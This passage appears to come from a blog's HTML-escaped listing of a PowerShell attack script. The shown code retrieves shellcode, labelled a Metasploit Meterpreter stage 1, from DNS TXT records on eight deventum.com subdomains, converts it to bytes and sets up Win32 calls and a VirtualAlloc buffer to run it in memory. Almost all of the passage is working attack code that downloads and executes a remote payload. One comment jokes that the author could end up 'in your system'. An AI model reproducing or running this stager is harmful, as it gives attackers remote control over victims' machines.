style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum49&quot;&gt;  49:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum50&quot;&gt;  50:&lt;/span&gt; #Maybe there&#39;s nothing left over to convert...&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum51&quot;&gt;  51:&lt;/span&gt; if ($String.Length -eq 0) { ,@() ; return } &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum52&quot;&gt;  52:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum53&quot;&gt;  53:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum54&quot;&gt;  54:&lt;/span&gt; #Split string with or without colon delimiters.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum55&quot;&gt;  55:&lt;/span&gt; if ($String.Length -eq 1)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum56&quot;&gt;  56:&lt;/span&gt; { ,@([System.Convert]::ToByte($String,16)) }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum57&quot;&gt;  57:&lt;/span&gt; elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(&quot;:&quot;) -eq -1))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum58&quot;&gt;  58:&lt;/span&gt; { ,@($String -split &#39;([a-f0-9]{2})&#39; | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}) }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum59&quot;&gt;  59:&lt;/span&gt; elseif ($String.IndexOf(&quot;:&quot;) -ne -1)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum60&quot;&gt;  60:&lt;/span&gt; { ,@($String -split &#39;:+&#39; | foreach-object {[System.Convert]::ToByte($_,16)}) }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum61&quot;&gt;  61:&lt;/span&gt; else&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum62&quot;&gt;  62:&lt;/span&gt; { ,@() }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum63&quot;&gt;  63:&lt;/span&gt; #The strange &quot;,@(...)&quot; syntax is needed to force the output into an&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum64&quot;&gt;  64:&lt;/span&gt; #array even if there is only one element in the output (or none).&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum65&quot;&gt;  65:&lt;/span&gt; }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum66&quot;&gt;  66:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum67&quot;&gt;  67:&lt;/span&gt; function GetShellCode($hostname)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum68&quot;&gt;  68:&lt;/span&gt;     {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum69&quot;&gt;  69:&lt;/span&gt;     $result = iex &quot;cmd.exe /c `&quot;nslookup  -querytype=txt -timeout=5 $hostname 2&lt;span style=&quot;color: #0000ff&quot;&gt;&amp;gt;&lt;/span&gt; NUL`&quot;&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum70&quot;&gt;  70:&lt;/span&gt;     $shellarray = &quot;&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum71&quot;&gt;  71:&lt;/span&gt;     foreach ($line in $result)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum72&quot;&gt;  72:&lt;/span&gt;         {&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum73&quot;&gt;  73:&lt;/span&gt;         $line=$line.trim()&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum74&quot;&gt;  74:&lt;/span&gt;         if ($line.contains(&quot;`&quot;&quot;))&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum75&quot;&gt;  75:&lt;/span&gt;             {$shellarray = $line.split(&quot;`&quot;&quot;)[1].trim()}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum76&quot;&gt;  76:&lt;/span&gt;         }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum77&quot;&gt;  77:&lt;/span&gt;     &quot;$shellarray&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum78&quot;&gt;  78:&lt;/span&gt;     }&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum79&quot;&gt;  79:&lt;/span&gt; &quot;Got the shellcode from txt records&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum80&quot;&gt;  80:&lt;/span&gt; # My txt records you better not use them, or you may see me in your system :)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum81&quot;&gt;  81:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum82&quot;&gt;  82:&lt;/span&gt; $shellpart1 = GetShellCode &quot;a.deventum.com&quot; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum83&quot;&gt;  83:&lt;/span&gt; $shellpart2 = GetShellCode &quot;b.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum84&quot;&gt;  84:&lt;/span&gt; $shellpart3 = GetShellCode &quot;c.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum85&quot;&gt;  85:&lt;/span&gt; $shellpart4 = GetShellCode &quot;d.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum86&quot;&gt;  86:&lt;/span&gt; $shellpart5 = GetShellCode &quot;e.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum87&quot;&gt;  87:&lt;/span&gt; $shellpart6 = GetShellCode &quot;f.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum88&quot;&gt;  88:&lt;/span&gt; $shellpart7 = GetShellCode &quot;g.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum89&quot;&gt;  89:&lt;/span&gt; $shellpart8 = GetShellCode &quot;h.deventum.com&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum90&quot;&gt;  90:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum91&quot;&gt;  91:&lt;/span&gt; $myshell = &quot; $shellpart1$shellpart2$shellpart3$shellpart4$shellpart5$shellpart6$shellpart7$shellpart8 &quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum92&quot;&gt;  92:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum93&quot;&gt;  93:&lt;/span&gt; # Thread control&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum94&quot;&gt;  94:&lt;/span&gt; $winFunc = Add-Type -memberDefinition $code -Name &quot;Win32&quot; -namespace Win32Functions -passthru&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum95&quot;&gt;  95:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum96&quot;&gt;  96:&lt;/span&gt; # msf meterpreter stage 1, this one must be converted to proper byte array first.&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum97&quot;&gt;  97:&lt;/span&gt; [Byte[]]$sc =   Convert-HexStringToByteArray($myshell) &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum98&quot;&gt;  98:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum99&quot;&gt;  99:&lt;/span&gt; # Calculate correct size param for VirtualAlloc&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum100&quot;&gt; 100:&lt;/span&gt; $size = 0x1000&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum101&quot;&gt; 101:&lt;/span&gt; if ($sc.Length -gt 0x1000) {$size = $sc.Length}&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum102&quot;&gt; 102:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 